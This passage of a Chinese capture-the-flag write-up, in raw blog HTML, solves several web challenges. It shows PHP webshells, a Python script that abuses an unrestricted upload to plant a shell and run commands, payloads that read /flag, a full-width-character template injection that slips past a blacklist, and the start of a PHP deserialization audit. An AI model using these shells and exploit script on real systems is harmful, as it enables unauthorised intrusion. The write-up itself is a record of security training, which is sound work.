src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1577\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>https:&#47;&#47;github.com\/LamentXU123\/cve\/blob\/main\/RCE1.md<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-13-1024x512.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"512\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-13-1024x512.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1578\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6f0f\u6d1e\u590d\u73b0<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8ddf\u7740\u63d0\u793a\u8fdb\u884c\u64cd\u4f5c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\/\/ \u6f0f\u6d1e\u8be6\u60c5\n\/\/ \u6f0f\u6d1e\u4f4d\u7f6e\uff1a\n\/\/ \u6587\u4ef6: registration.php \u548c edit.php\n\/\/ \u884c\u53f7: 36-37\u884c\uff08\u5728edit.php\u4e2d\uff09\n\/\/ \u6f0f\u6d1e\u7c7b\u578b: \u65e0\u9650\u5236\u6587\u4ef6\u4e0a\u4f20\u5bfc\u81f4RCE\n\/\/\n\/\/ \u6838\u5fc3\u6f0f\u6d1e\u4ee3\u7801\uff1a\n\/\/ edit.php \u7b2c36-37\u884c\n\/\/ mkdir(\"images\/$e\"); \/\/ $e\u662f\u7528\u6237\u90ae\u7bb1\n\/\/ move_uploaded_file($_FILES&#91;'img']&#91;'tmp_name'],\"images\/$e\/\".$_FILES&#91;'img']&#91;'name']);\n\/\/ \/\/ \u6ca1\u6709\u6587\u4ef6\u7c7b\u578b\u9a8c\u8bc1\uff01\n\/\/\n\/\/ \u5229\u7528\u6b65\u9aa4\uff1a\n\/\/ \u7b2c1\u6b65\uff1a\u6ce8\u518c\u7528\u6237\u5e76\u4e0a\u4f20Webshell\n\/\/ \u4f7f\u7528POST\u8bf7\u6c42\u5230 \/registration.php\uff0c\u4e0a\u4f20\u4e00\u4e2aPHP webshell\uff1a\n\/\/\n\/\/ Webshell\u5185\u5bb9\u793a\u4f8b (basic_webshell.php):\nif(isset($_GET&#91;'cmd'])) {\n    system($_GET&#91;'cmd']);\n}\n\/\/ \u6216\u8005\u66f4\u9690\u853d\u7684\nif(isset($_REQUEST&#91;'attack'])) {\n    @eval($_REQUEST&#91;'attack']);\n}\n?&gt;\n\n&lt;!--\n\u7b2c2\u6b65\uff1a\u786e\u5b9aWebshell\u8bbf\u95ee\u8def\u5f84\n\u6839\u636e\u6f0f\u6d1e\u63cf\u8ff0\uff0c\u4e0a\u4f20\u7684\u6587\u4ef6\u5b58\u653e\u5728\uff1a\n\n\/images\/{\u7528\u6237\u90ae\u7bb1}\/{\u6587\u4ef6\u540d}\n\n\u4f8b\u5982\uff1a\n\u90ae\u7bb1: hacker@example.com\n\u6587\u4ef6\u540d: shell.php\n\u8bbf\u95eeURL: \/images\/hacker@example.com\/shell.php\n\n\u7b2c3\u6b65\uff1a\u6267\u884c\u547d\u4ee4\n\u8bbf\u95eewebshell\u5e76\u4f20\u9012\u53c2\u6570\u6267\u884c\u547d\u4ee4\uff1a\n\u793a\u4f8b1\uff1a\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\n\n\/images\/hacker@example.com\/shell.php?cmd=whoami\n\/images\/hacker@example.com\/shell.php?cmd=ls -la \/\n\n\u793a\u4f8b2\uff1a\u4f7f\u7528eval\u6267\u884cPHP\u4ee3\u7801\n\/images\/hacker@example.com\/basic_webshell.php?attack=system('id');\n\n\u5b9e\u6218\u5229\u7528\u811a\u672c\uff1a\n\n#!\/usr\/bin\/env python3\nimport requests\nimport sys\n\ndef exploit(target_url, email, cmd):\n    \"\"\"\n    \u5229\u7528\u5728\u7ebf\u901a\u77e5\u677f\u7684\u6587\u4ef6\u4e0a\u4f20RCE\u6f0f\u6d1e\n\n    Args:\n        target_url: \u76ee\u6807\u7f51\u7ad9\u57fa\u7840URL (\u5982: http:\/\/target.com)\n        email: \u7528\u4e8e\u6ce8\u518c\u548c\u76ee\u5f55\u521b\u5efa\u7684\u90ae\u7bb1\n        cmd: \u8981\u6267\u884c\u7684\u7cfb\u7edf\u547d\u4ee4\n    \"\"\"\n    # 1. \u6784\u9020webshell\u6587\u4ef6\n    webshell_name = \"shell.php\"\n    webshell_content = \"&lt;?php if(isset($_GET&#91;'c'])) { system($_GET&#91;'c']); } ?&gt;\"\n\n    # 2. \u51c6\u5907\u6ce8\u518c\/\u4e0a\u4f20\u6570\u636e\n    files = {\n        'img': (webshell_name, webshell_content, 'application\/octet-stream')\n    }\n\n    data = {\n        'n': 'exploit_test',     # \u7528\u6237\u540d\n        'e': email,              # \u90ae\u7bb1 - \u7528\u4e8e\u521b\u5efa\u76ee\u5f55\n        'p': 'password123',      # \u5bc6\u7801\n        'mob': '1234567890',     # \u624b\u673a\n        'gen': 'm',              # \u6027\u522b\n        'hob&#91;]': 'reading',      # \u7231\u597d\n        'yy': '1990',            # \u5e74\n        'mm': '1',               # \u6708\n        'dd': '1',               # \u65e5\n        'save': 'Save'           # \u63d0\u4ea4\u6309\u94ae\n    }\n\n    # 3. \u53d1\u9001\u6ce8\u518c\u8bf7\u6c42\u4e0a\u4f20webshell\n    print(f\"&#91;*] \u5c1d\u8bd5\u4e0a\u4f20webshell\u5230 {email}...\")\n    reg_url = f\"{target_url}\/registration.php\"\n    response = requests.post(reg_url, data=data, files=files)\n\n    if response.status_code == 200:\n        print(\"&#91;+] Webshell\u53ef\u80fd\u5df2\u4e0a\u4f20\u6210\u529f\")\n    else:\n        print(f\"&#91;-] \u4e0a\u4f20\u5931\u8d25\uff0c\u72b6\u6001\u7801: {response.status_code}\")\n        return\n\n    # 4. \u8bbf\u95eewebshell\u6267\u884c\u547d\u4ee4\n    webshell_url = f\"{target_url}\/images\/{email}\/{webshell_name}?c={cmd}\"\n    print(f\"&#91;*] \u8bbf\u95eewebshell: {webshell_url}\")\n    result = requests.get(webshell_url)\n\n    if result.status_code == 200:\n        print(\"&#91;+] \u547d\u4ee4\u6267\u884c\u7ed3\u679c:\")\n        print(result.text)\n    else:\n        print(f\"&#91;-] Webshell\u8bbf\u95ee\u5931\u8d25\uff0c\u72b6\u6001\u7801: {result.status_code}\")\n\nif __name__ == \"__main__\":\n    if len(sys.argv) != 4:\n        print(f\"\u7528\u6cd5: {sys.argv&#91;0]} &lt;\u76ee\u6807URL&gt; &lt;\u90ae\u7bb1&gt; &lt;\u547d\u4ee4&gt;\")\n        print(f\"\u793a\u4f8b: {sys.argv&#91;0]} http:\/\/target.com hacker@test.com 'ls -la'\")\n        sys.exit(1)\n\n    exploit(sys.argv&#91;1], sys.argv&#91;2], sys.argv&#91;3])\n\n--&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u4e0a\u4f20webshell<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6309\u7167\u8981\u6c42\u952e\u5165<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-14-1024x521.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"521\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-14-1024x521.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1579\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">shell.php<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php if(isset($_GET&#91;'cmd'])) {\nsystem($_GET&#91;'cmd']);\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6839\u636e\u8def\u5f84\/images\/{\u7528\u6237\u90ae\u7bb1}\/{\u6587\u4ef6\u540d}\u8bbf\u95eewebshell\u6587\u4ef6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/images\/admin\/shell.php<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u547d\u4ee4\u6267\u884c<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ls-la \/<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-15-1024x191.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"191\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-15-1024x191.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1580\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>payload:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?cmd=cat \/flag<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f97\u5230flag<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-16-1024x208.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"208\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-16-1024x208.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1581\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">\u65b9\u6cd5\u4e8c\uff1a<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">\u6b63\u5e38\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\u601d\u7ef4<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-17-1024x592.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"592\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-17-1024x592.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1582\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-18-1024x576.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-18-1024x576.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1583\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;challenge.bluesharkinfo.com:29114\/images\/sitePHP.jpg<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c31\u662f\u8fd9\u4e2a\u6f0f\u6d1e\u70b9<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u96be\u8fc7\u7684bottle<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-19.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"520\" height=\"495\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-19.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1584\"  sizes=\"auto, (max-width: 520px) 100vw, 520px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-20-1024x605.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"605\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-20-1024x605.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1585\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6e90\u7801\u4e5f\u7ed9\u4e86<br>\u7528ai\u8f85\u52a9\u4e00\u4e0b<br>\u53d1\u73b0\u6e90\u7801\u4e2d\u7684\u9ed1\u540d\u5355\u6ca1\u6709\u8fc7\u6ee4f \uff0cl\uff0ca, g\u8fd9\u56db\u4e2a\u5b57\u7b26<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># hint: flag is in \/flag<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e5f\u627e\u5230\u4e86 flag \u5728 \/flag \u6587\u4ef6\u4e2d\u7ebf\u7d22<br>\u6784\u9020\u6587\u4ef6<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-21.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"817\" height=\"227\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-21.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1586\"  sizes=\"auto, (max-width: 817px) 100vw, 817px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>{{ \uff4f\uff50\uff45\uff4e('\/flag').\uff52\uff45\uff41\uff44() }}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u91cc\u7684\u5b57\u7b26\u662f\u5168\u89d2\u7b26\u53f7<br>\u7ed5\u8fc7\u9ed1\u540d\u5355\u5bf9 \u201c\u534a\u89d2\u7279\u6b8a\u5b57\u7b26\u201d \u7684\u9650\u5236<br>\u628a\u6587\u4ef6\u538b\u7f29\u6210zip<br>\u4e0a\u4f20<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-22-1024x383.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"383\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-22-1024x383.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1587\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-23-1024x182.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"182\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-23-1024x182.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1588\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u62ff\u5230flag<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u6765\u7b7e\u4e2a\u5230\u5427<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-24.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"550\" height=\"664\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-24.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1589\"  sizes=\"auto, (max-width: 550px) 100vw, 550px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c06\u914d\u7f6e\u6587\u4ef6\u4e0b\u8f7d\u4e0b\u6765<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4ee3\u7801\u5ba1\u8ba1<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>api.php<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\/\/ \u5f15\u5165\u914d\u7f6e\u6587\u4ef6\uff08\u901a\u5e38\u5305\u542b\u6570\u636e\u5e93\u8fde\u63a5 $db \u7b49\uff09\nrequire_once \".\/config.php\";\n\n\/\/ \u5f15\u5165\u81ea\u5b9a\u4e49\u7c7b\u5b9a\u4e49\uff08\u4f8b\u5982 ShitMountant \u7c7b\uff09\nrequire_once \".\/classes.php\";\n\n\/\/ \u4ece URL \u67e5\u8be2\u53c2\u6570\u4e2d\u83b7\u53d6 'id'\uff0c\u5982\u679c\u672a\u63d0\u4f9b\u5219\u9ed8\u8ba4\u4e3a '\u55b5\u55b5\u55b5?'\uff08\u7528\u4e8e\u53cb\u597d\u9519\u8bef\u63d0\u793a\uff09\n$id = $_GET&#91;\"id\"] ?? '\u55b5\u55b5\u55b5?';\n\n\/\/ \u51c6\u5907 SQL \u67e5\u8be2\u8bed\u53e5\uff1a\u4ece notes \u8868\u4e2d\u6839\u636e id \u67e5\u8be2 content \u5b57\u6bb5\n\/\/ \u4f7f\u7528\u9884\u5904\u7406\u8bed\u53e5\u9632\u6b62 SQL \u6ce8\u5165\n$s = $db-&gt;prepare(\"SELECT content FROM notes WHERE id = ?\");\n$s-&gt;execute(&#91;$id]); \/\/ \u5b89\u5168\u5730\u7ed1\u5b9a\u53c2\u6570\u5e76\u6267\u884c\u67e5\u8be2\n\n\/\/ \u4ece\u7ed3\u679c\u96c6\u4e2d\u83b7\u53d6\u4e00\u884c\u6570\u636e\uff08\u5173\u8054\u6570\u7ec4\uff09\n$row = $s-&gt;fetch(PDO::FETCH_ASSOC);\n\n\/\/ \u5982\u679c\u6ca1\u6709\u627e\u5230\u5bf9\u5e94\u7684\u8bb0\u5f55\uff0c\u5219\u8f93\u51fa\u9519\u8bef\u4fe1\u606f\u5e76\u7ec8\u6b62\u811a\u672c\nif (!$row) {\n    die(\"\u55b5\u55b5\u55b5?\"); \/\/ \u901a\u5e38\u7528\u4e8e\u8868\u793a\"\u8bf7\u6c42\u65e0\u6548\"\u6216\"\u672a\u627e\u5230\"\n}\n\n\/\/ \u5c06\u6570\u636e\u5e93\u4e2d\u5b58\u50a8\u7684\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\u53cd\u5e8f\u5217\u5316\u4e3a PHP \u5bf9\u8c61\/\u6570\u636e\n$cfg = unserialize($row&#91;\"content\"]);\n\n\/\/ \u68c0\u67e5\u53cd\u5e8f\u5217\u5316\u540e\u7684\u5bf9\u8c61\u662f\u5426\u662f ShitMountant \u7c7b\u7684\u5b9e\u4f8b\nif ($cfg instanceof ShitMountant) {\n    \/\/ \u8c03\u7528\u8be5\u5bf9\u8c61\u7684 fetch() \u65b9\u6cd5\u83b7\u53d6\u5185\u5bb9\n    $r = $cfg-&gt;fetch();\n\n    \/\/ \u8f93\u51fa\u6210\u529f\u63d0\u793a\u548c\u5185\u5bb9\n    echo \"ok!\" . \"&lt;br&gt;\";\n\n    \/\/ \u5bf9\u8f93\u51fa\u5185\u5bb9\u8fdb\u884c HTML \u8f6c\u4e49\u5e76\u4fdd\u7559\u6362\u884c\u7b26\uff08\u9632\u6b62 XSS\uff09\n    echo nl2br(htmlspecialchars($r));\n} else {\n    \/\/ \u5982\u679c\u4e0d\u662f\u9884\u671f\u7684\u5bf9\u8c61\u7c7b\u578b\uff0c\u8fd4\u56de\u9519\u8bef\u4fe1\u606f\n    echo \"\u55b5\u55b5\u55b5?\";\n}\n?&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>classes.php<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\/\/ \u5b9a\u4e49\u4e00\u4e2a\u540d\u4e3a FileLogger \u7684\u7c7b\uff0c\u7528\u4e8e\u5c06\u65e5\u5fd7\u5199\u5165\u6587\u4ef6\nclass FileLogger {\n    \/\/ \u9ed8\u8ba4\u65e5\u5fd7\u6587\u4ef6\u8def\u5f84\u4e3a \/tmp\/notehub.log\uff08Linux \u7cfb\u7edf\u4e34\u65f6\u76ee\u5f55\uff09\n    public $logfile = \"\/tmp\/notehub.log\";\n\n    \/\/ \u7528\u4e8e\u7d2f\u79ef\u5f85\u5199\u5165\u7684\u65e5\u5fd7\u5185\u5bb9\n    public $content = \"\";\n\n    \/\/ 